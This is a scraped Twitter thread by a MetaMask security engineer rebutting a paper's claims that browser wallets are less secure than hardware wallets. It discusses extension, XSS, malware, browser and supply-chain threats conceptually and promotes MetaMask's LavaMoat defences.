I’ll address the claims it makes, how &lt;a href=&quot;https://x.com/@metamask&quot;&gt;@metamask&lt;/a&gt;🦊 is secured from them and why the rest aren’t valid🧵 &lt;span class=&quot;entity-embed&quot;&gt;&lt;span class=&quot;twitter-player&quot;&gt;&lt;div class=&quot;twitter-tweet twitter-tweet-rendered&quot; style=&quot;width: 100%; margin: 10px auto; display: flex; max-width: unset;&quot;&gt;&lt;iframe id=&quot;twitter-widget-0&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot; class=&quot;&quot; style=&quot;position: static; visibility: visible; width: 550px; height: 825px; display: block; flex-grow: 1;&quot; title=&quot;X Post&quot; src=&quot;https://platform.twitter.com/embed/Tweet.html?creatorScreenName=WeizmanGal&amp;amp;dnt=true&amp;amp;embedId=twitter-widget-0&amp;amp;features=eyJ0ZndfdGltZWxpbmVfbGlzdCI6eyJidWNrZXQiOltdLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X2ZvbGxvd2VyX2NvdW50X3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9iYWNrZW5kIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19yZWZzcmNfc2Vzc2lvbiI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfZm9zbnJfc29mdF9pbnRlcnZlbnRpb25zX2VuYWJsZWQiOnsiYnVja2V0Ijoib24iLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X21peGVkX21lZGlhXzE1ODk3Ijp7ImJ1Y2tldCI6InRyZWF0bWVudCIsInZlcnNpb24iOm51bGx9LCJ0ZndfZXhwZXJpbWVudHNfY29va2llX2V4cGlyYXRpb24iOnsiYnVja2V0IjoxMjA5NjAwLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3Nob3dfYmlyZHdhdGNoX3Bpdm90c19lbmFibGVkIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19kdXBsaWNhdGVfc2NyaWJlc190b19zZXR0aW5ncyI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdXNlX3Byb2ZpbGVfaW1hZ2Vfc2hhcGVfZW5hYmxlZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdmlkZW9faGxzX2R5bmFtaWNfbWFuaWZlc3RzXzE1MDgyIjp7ImJ1Y2tldCI6InRydWVfYml0cmF0ZSIsInZlcnNpb24iOm51bGx9LCJ0ZndfbGVnYWN5X3RpbWVsaW5lX3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9mcm9udGVuZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9fQ%3D%3D&amp;amp;frame=false&amp;amp;hideCard=false&amp;amp;hideThread=true&amp;amp;id=1746804037104619910&amp;amp;lang=en&amp;amp;origin=https%3A%2F%2Fthreadreaderapp.com%2Fthread%2F1747675800558780786.html&amp;amp;sessionId=0a5fdd96ce7e65aa6e95ebe3373c61b6d524758a&amp;amp;theme=light&amp;amp;widgetsVersion=2615f7e52b7e0%3A1702314776716&amp;amp;width=550px&quot; data-tweet-id=&quot;1746804037104619910&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;hr&gt;
[B=Browser/H=Hardware/W=Wallet]&lt;br&gt;
&lt;br&gt;
Its main claim is that HWs are secured whereas BWs aren&apos;t simply because the former never exposes the private key outside the hardware whereas the latter stores it in more vulnerable infrastructures being the browser &amp;amp; OS.&lt;br&gt;
&lt;br&gt;
While somewhat true... &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/GED94MWbYAM-MJb.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/GED94MWbYAM-MJb.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
... HWs and BWs aren&apos;t strictly opposites, but can be complimentary - whether storing their private key in MetaMask or using it strictly for bridging actual HWs such as &lt;a href=&quot;https://x.com/@Ledger&quot;&gt;@Ledger&lt;/a&gt; or &lt;a href=&quot;https://x.com/@Trezor&quot;&gt;@Trezor&lt;/a&gt; is for the user to decide.&lt;br&gt;
&lt;br&gt;
Other way around&apos;s also true - for HWs to interact with dapps...
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
... they NEED some software bridging, whether built by them (e.g. Ledger Extension) or served by BWs (e.g. Ledger/Trezor on MetaMask).&lt;br&gt;
&lt;br&gt;
This point is crucial to understand in this context.&lt;br&gt;
&lt;br&gt;
Not mentioning it when claiming BWs to be objectively &quot;poorly secured&quot; is misleading IMO.
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
On to the part I want to focus on - Browser Security.&lt;br&gt;
&lt;br&gt;
Under this section the paper refers to different threats BWs face:&lt;br&gt;
&lt;br&gt;
* Browser extensions (Phishing/UI manipulation , Keylogging/Screenshotting)&lt;br&gt;
* XSS&lt;br&gt;
* Malware (OS)&lt;br&gt;
* Browser Insecurity&lt;br&gt;
* Developer Libraries&lt;br&gt;
&lt;br&gt;
Let&apos;s begin: &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/GED95DubYAEgI5l.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/GED95DubYAEgI5l.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
~~~&lt;br&gt;
Both Section 3 and 4 discuss &quot;Literature Review&quot; and &quot;Vulnerabilities in BW Applications&quot; (respectively) in regards to all five points described above that we&apos;re about to dive into, so for each point I will be referring to its literature and/or practical reviews.&lt;br&gt;
~~~ &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/GED95hRaIAA0ngW.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/GED95hRaIAA0ngW.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
Starting with the easiest to disprove - Browser Extensions.&lt;br&gt;
&lt;br&gt;
One part of this claim is that if the victim mistakenly installs a malicious extension - in addition to the legitimate MetaMask one - it can steal their private key by either sniffing their key strokes... &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/GED95_EbYAEfJfe.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/GED95_EbYAEfJfe.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
... hoping they catch SRP insertion or capturing screenshots of the extension hoping they ask the BW to display the SRP.&lt;br&gt;
&lt;br&gt;
Let me be clear here - this ISN&apos;T possible.&lt;br&gt;
&lt;br&gt;
While an extension can capture screenshots / sniff key strokes (with the right permissions), it can only do so...
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
... to websites - not other extensions.&lt;br&gt;
&lt;br&gt;
Evil extensions can gain such access to websites, because as part of browsers threat model - extensions have power over them.&lt;br&gt;
&lt;br&gt;
But according to that same model, extensions DO NOT have that kind of power over other extensions (obviously).
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
&lt;div&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/div&gt;
The other part of this claim talks about how such extensions can manipulate the UI the user interacts with to set them up to perform unwanted actions.&lt;br&gt;
&lt;br&gt;
While very true, this claim is in fact pro BW over HW and not the other way around.&lt;br&gt;
&lt;br&gt;
When interacting with dApps... &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/GED964cbYAA_ycU.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/GED964cbYAA_ycU.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
... that were either maliciously manipulated by an evil extension or by themselves are malicious - tricking the user to approve and sign a bad tx has nothing to do with whether the wallet is a BW or a HW.&lt;br&gt;
&lt;br&gt;
But security advanced BWs (such as MetaMask) can at least do a good job...
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
... at letting you know if the tx you&apos;re about to sign might be malicious (see quote) - a feature HWs do not provide.&lt;br&gt;
&lt;br&gt;
This claim would have been valid if the wallets were compared strictly for storing purposes rather than dApps interaction - but that&apos;s clearly not the case here. &lt;span class=&quot;entity-embed&quot;&gt;&lt;span class=&quot;twitter-player&quot;&gt;&lt;div class=&quot;twitter-tweet twitter-tweet-rendered&quot; style=&quot;width: 100%; margin: 10px auto; display: flex; max-width: unset;&quot;&gt;&lt;iframe id=&quot;twitter-widget-1&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot; class=&quot;&quot; style=&quot;position: static; visibility: visible; width: 550px; height: 713px; display: block; flex-grow: 1;&quot; title=&quot;X Post&quot; src=&quot;https://platform.twitter.com/embed/Tweet.html?creatorScreenName=WeizmanGal&amp;amp;dnt=true&amp;amp;embedId=twitter-widget-1&amp;amp;features=eyJ0ZndfdGltZWxpbmVfbGlzdCI6eyJidWNrZXQiOltdLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X2ZvbGxvd2VyX2NvdW50X3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9iYWNrZW5kIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19yZWZzcmNfc2Vzc2lvbiI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfZm9zbnJfc29mdF9pbnRlcnZlbnRpb25zX2VuYWJsZWQiOnsiYnVja2V0Ijoib24iLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X21peGVkX21lZGlhXzE1ODk3Ijp7ImJ1Y2tldCI6InRyZWF0bWVudCIsInZlcnNpb24iOm51bGx9LCJ0ZndfZXhwZXJpbWVudHNfY29va2llX2V4cGlyYXRpb24iOnsiYnVja2V0IjoxMjA5NjAwLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3Nob3dfYmlyZHdhdGNoX3Bpdm90c19lbmFibGVkIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19kdXBsaWNhdGVfc2NyaWJlc190b19zZXR0aW5ncyI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdXNlX3Byb2ZpbGVfaW1hZ2Vfc2hhcGVfZW5hYmxlZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdmlkZW9faGxzX2R5bmFtaWNfbWFuaWZlc3RzXzE1MDgyIjp7ImJ1Y2tldCI6InRydWVfYml0cmF0ZSIsInZlcnNpb24iOm51bGx9LCJ0ZndfbGVnYWN5X3RpbWVsaW5lX3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9mcm9udGVuZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9fQ%3D%3D&amp;amp;frame=false&amp;amp;hideCard=false&amp;amp;hideThread=true&amp;amp;id=1719399787420655900&amp;amp;lang=en&amp;amp;origin=https%3A%2F%2Fthreadreaderapp.com%2Fthread%2F1747675800558780786.html&amp;amp;sessionId=0a5fdd96ce7e65aa6e95ebe3373c61b6d524758a&amp;amp;theme=light&amp;amp;widgetsVersion=2615f7e52b7e0%3A1702314776716&amp;amp;width=550px&quot; data-tweet-id=&quot;1719399787420655900&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
Next is XSS.&lt;br&gt;
&lt;br&gt;
This one&apos;s more valid for sure, but it&apos;s important to clarify that XSS in a dApp cannot transform to SRP theft nor any damage at all (without user interaction) unlike brought up in the paper with this OpenSea example below.&lt;br&gt;
&lt;br&gt;
However, XSS in the BW itself... &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/GED-GrYWMAE7nNT.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/GED-GrYWMAE7nNT.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
... can lead to SRP theft, but only if:&lt;br&gt;
&lt;br&gt;
* User asks to export/display/access the SRP/private key which exposes it to the BW UI process;&lt;br&gt;
/OR/&lt;br&gt;
* User types their BW password.&lt;br&gt;
&lt;br&gt;
While theoretically true, XSS attacks are more rare for a reason - browsers nowadays provide the tech...
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
... needed to prevent XSS, and if used right allows apps such as a BW to defend themselves properly from such an attack.&lt;br&gt;
&lt;br&gt;
Combined with self custodial BWs naturally smaller XSS attack surface to begin with (no server + not much externally accepted input) - XSS becomes unlikely.
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
And with MetaMask&apos;s strong anti code-execution CSP rules - we make it even less likely.&lt;br&gt;
&lt;br&gt;
Bottom line, I accept BWs being less likely to prevent SRP/PK theft than HWs due to XSS, but it&apos;s far closer to impossible than possible.&lt;br&gt;
&lt;br&gt;
BUT to take it even ANOTHER step further...
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
... even if such evil code execution is obtained, and [as stated in the attached image] &quot;the SRP is left accessible to scripts and thus vulnerable to XSS&quot; - we still have ANOTHER security layer for isolating sensitive parts of the DOM (like SRP).&lt;br&gt;
&lt;br&gt;
For more on that - stay tuned 😉 &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/GED-QnDWsAAy9Ud.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/GED-QnDWsAAy9Ud.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
Next comes Malware.&lt;br&gt;
&lt;br&gt;
Most valid point in this paper IMO.&lt;br&gt;
&lt;br&gt;
OS level malware is something BWs will always have a hard time defending against, because BWs are hosted in an environment with higher privileges that they must blindly trust, and in that context HWs have an advantage, &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/GED-U_IWgAAqF1P.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/GED-U_IWgAAqF1P.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
because they ARE that environment - starting from the software all the way to the hardware.&lt;br&gt;
&lt;br&gt;
So again - for storing strictly? HWs are great.&lt;br&gt;
&lt;br&gt;
But for most of the times, interactivity (with dApps) is needed, and at that point a malware can target HWs similarly to BWs (see reply👇)
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
Afterwards there&apos;s Browser Insecurity.&lt;br&gt;
&lt;br&gt;
&quot;safe to say, securing the browser enough to eliminate the risk of sensitive data being stolen is unrealistic&quot;.&lt;br&gt;
&lt;br&gt;
Disagree. Browsers are safe.&lt;br&gt;
&lt;br&gt;
Browsers ARE a &quot;trustworthy platform for applications or sensitive data&quot; and have been for years, &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/GED-iN4WUAEOqKF.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/GED-iN4WUAEOqKF.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
they just need to be used right. Also, the context matters a lot:&lt;br&gt;
&lt;br&gt;
With self custodial wallets, a server can&apos;t be used for storing &quot;sensitive data&quot;.&lt;br&gt;
&lt;br&gt;
So in that context, storing SRP/PK in a HW instead of the browser is agreed to be better, but again - to interact with dApps...
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
... HWs need to bridge through a browser anyway.&lt;br&gt;
&lt;br&gt;
Therefore, a big part of the threats described in the paper are similarly riskful.&lt;br&gt;
&lt;br&gt;
Now, as for the last one, and our personal favorite in MetaMask: &quot;Developer Libraries&quot;.&lt;br&gt;
&lt;br&gt;
Or as we like to call it: &quot;Supply Chain Security&quot;. &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/GED-nAHXkAAGjs7.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/GED-nAHXkAAGjs7.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
Being the maintainers of LavaMoat, we at MetaMask could not agree more with the sentiment of supply chain attacks being a major threat to BWs.&lt;br&gt;
&lt;br&gt;
But when referring to MetaMask&apos;s security in context of &quot;developers libraries&quot;, as was done in the paper, LavaMoat must not be left out.
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
Exploiting a supply chain breach to fully compromise the SRP of MetaMask is far from easy, thanks to the hard work and effort put into securing against such attacks in our BW.&lt;br&gt;
&lt;br&gt;
That’s what the LavaMoat project is all about, as it covers multiple aspects of the following question:
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
If untrusted code (whether by XSS or a supply chain breach) runs inside the BW - how well is it mitigated by the BW runtime?&lt;br&gt;
&lt;br&gt;
Not to speak for other wallets, but for MetaMask the answer would be “very well”.&lt;br&gt;
&lt;br&gt;
Learn more about the LavaMoat stack that’s making this possible:
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
* LavaMoat &lt;br&gt;
    &lt;div&gt;
        &lt;a target=&quot;_blank&quot; href=&quot;https://metamask.io/news/security/using-lavamoat-to-solve-software-supply-chain-security/&quot;&gt;
            &lt;strong&gt;Using LavaMoat To Solve Software Supply Chain Security | MetaMask News&lt;/strong&gt;
            LavaMoat is a set of security tools for any JavaScript app to mitigate software supply risks.
        &lt;/a&gt;
    &lt;/div&gt;
&lt;br&gt;
* Scuttling &lt;br&gt;
    &lt;span class=&quot;entity-embed&quot;&gt;&lt;span class=&quot;twitter-player&quot;&gt;&lt;div class=&quot;twitter-tweet twitter-tweet-rendered&quot; style=&quot;width: 100%; margin: 10px auto; display: flex; max-width: unset;&quot;&gt;&lt;iframe id=&quot;twitter-widget-2&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot; class=&quot;&quot; style=&quot;position: static; visibility: visible; width: 550px; height: 715px; display: block; flex-grow: 1;&quot; title=&quot;X Post&quot; src=&quot;https://platform.twitter.com/embed/Tweet.html?creatorScreenName=WeizmanGal&amp;amp;dnt=true&amp;amp;embedId=twitter-widget-2&amp;amp;features=eyJ0ZndfdGltZWxpbmVfbGlzdCI6eyJidWNrZXQiOltdLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X2ZvbGxvd2VyX2NvdW50X3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9iYWNrZW5kIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19yZWZzcmNfc2Vzc2lvbiI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfZm9zbnJfc29mdF9pbnRlcnZlbnRpb25zX2VuYWJsZWQiOnsiYnVja2V0Ijoib24iLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X21peGVkX21lZGlhXzE1ODk3Ijp7ImJ1Y2tldCI6InRyZWF0bWVudCIsInZlcnNpb24iOm51bGx9LCJ0ZndfZXhwZXJpbWVudHNfY29va2llX2V4cGlyYXRpb24iOnsiYnVja2V0IjoxMjA5NjAwLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3Nob3dfYmlyZHdhdGNoX3Bpdm90c19lbmFibGVkIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19kdXBsaWNhdGVfc2NyaWJlc190b19zZXR0aW5ncyI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdXNlX3Byb2ZpbGVfaW1hZ2Vfc2hhcGVfZW5hYmxlZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdmlkZW9faGxzX2R5bmFtaWNfbWFuaWZlc3RzXzE1MDgyIjp7ImJ1Y2tldCI6InRydWVfYml0cmF0ZSIsInZlcnNpb24iOm51bGx9LCJ0ZndfbGVnYWN5X3RpbWVsaW5lX3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9mcm9udGVuZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9fQ%3D%3D&amp;amp;frame=false&amp;amp;hideCard=false&amp;amp;hideThread=true&amp;amp;id=1674751159003914240&amp;amp;lang=en&amp;amp;origin=https%3A%2F%2Fthreadreaderapp.com%2Fthread%2F1747675800558780786.html&amp;amp;sessionId=0a5fdd96ce7e65aa6e95ebe3373c61b6d524758a&amp;amp;theme=light&amp;amp;widgetsVersion=2615f7e52b7e0%3A1702314776716&amp;amp;width=550px&quot; data-tweet-id=&quot;1674751159003914240&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;
&lt;br&gt;
* Snow &lt;br&gt;
    &lt;span class=&quot;entity-embed&quot;&gt;&lt;span class=&quot;twitter-player&quot;&gt;&lt;div class=&quot;twitter-tweet twitter-tweet-rendered&quot; style=&quot;width: 100%; margin: 10px auto; display: flex; max-width: unset;&quot;&gt;&lt;iframe id=&quot;twitter-widget-3&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot; class=&quot;&quot; style=&quot;position: static; visibility: visible; width: 550px; height: 667px; display: block; flex-grow: 1;&quot; title=&quot;X Post&quot; src=&quot;https://platform.twitter.com/embed/Tweet.html?creatorScreenName=WeizmanGal&amp;amp;dnt=true&amp;amp;embedId=twitter-widget-3&amp;amp;features=eyJ0ZndfdGltZWxpbmVfbGlzdCI6eyJidWNrZXQiOltdLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X2ZvbGxvd2VyX2NvdW50X3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9iYWNrZW5kIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19yZWZzcmNfc2Vzc2lvbiI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfZm9zbnJfc29mdF9pbnRlcnZlbnRpb25zX2VuYWJsZWQiOnsiYnVja2V0Ijoib24iLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X21peGVkX21lZGlhXzE1ODk3Ijp7ImJ1Y2tldCI6InRyZWF0bWVudCIsInZlcnNpb24iOm51bGx9LCJ0ZndfZXhwZXJpbWVudHNfY29va2llX2V4cGlyYXRpb24iOnsiYnVja2V0IjoxMjA5NjAwLCJ2ZXJzaW9uIjpudWxsfSwidGZ3X3Nob3dfYmlyZHdhdGNoX3Bpdm90c19lbmFibGVkIjp7ImJ1Y2tldCI6Im9uIiwidmVyc2lvbiI6bnVsbH0sInRmd19kdXBsaWNhdGVfc2NyaWJlc190b19zZXR0aW5ncyI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdXNlX3Byb2ZpbGVfaW1hZ2Vfc2hhcGVfZW5hYmxlZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9LCJ0ZndfdmlkZW9faGxzX2R5bmFtaWNfbWFuaWZlc3RzXzE1MDgyIjp7ImJ1Y2tldCI6InRydWVfYml0cmF0ZSIsInZlcnNpb24iOm51bGx9LCJ0ZndfbGVnYWN5X3RpbWVsaW5lX3N1bnNldCI6eyJidWNrZXQiOnRydWUsInZlcnNpb24iOm51bGx9LCJ0ZndfdHdlZXRfZWRpdF9mcm9udGVuZCI6eyJidWNrZXQiOiJvbiIsInZlcnNpb24iOm51bGx9fQ%3D%3D&amp;amp;frame=false&amp;amp;hideCard=false&amp;amp;hideThread=true&amp;amp;id=1679873336510402561&amp;amp;lang=en&amp;amp;origin=https%3A%2F%2Fthreadreaderapp.com%2Fthread%2F1747675800558780786.html&amp;amp;sessionId=0a5fdd96ce7e65aa6e95ebe3373c61b6d524758a&amp;amp;theme=light&amp;amp;widgetsVersion=2615f7e52b7e0%3A1702314776716&amp;amp;width=550px&quot; data-tweet-id=&quot;1679873336510402561&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br&gt;
* LavaDome (soon, stay tuned 😉)
&lt;sup class=&quot;tw-permalink&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;/i&gt;&lt;/sup&gt;
&lt;hr&gt;
As for the rest of the paper (sections 5, 6 and 7):&lt;br&gt;
&lt;br&gt;
After covering the different threats, it continues to discuss leads for further research, conclusions and comparisons to HWs - all based on the former (not very rightfully concluded) described threats in sections 3 and 4. &lt;span class=&quot;entity-image&quot;&gt;&lt;a href=&quot;https://pbs.twimg.com/media/GED-071XcAA6Oi7.png&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Image&quot; src=&quot;https://pbs.twimg.com/media/GED-071XcAA6Oi7.png&quot; class=&quot; b-loaded&quot;&gt;&lt;/a&gt;&lt;/span&gt;
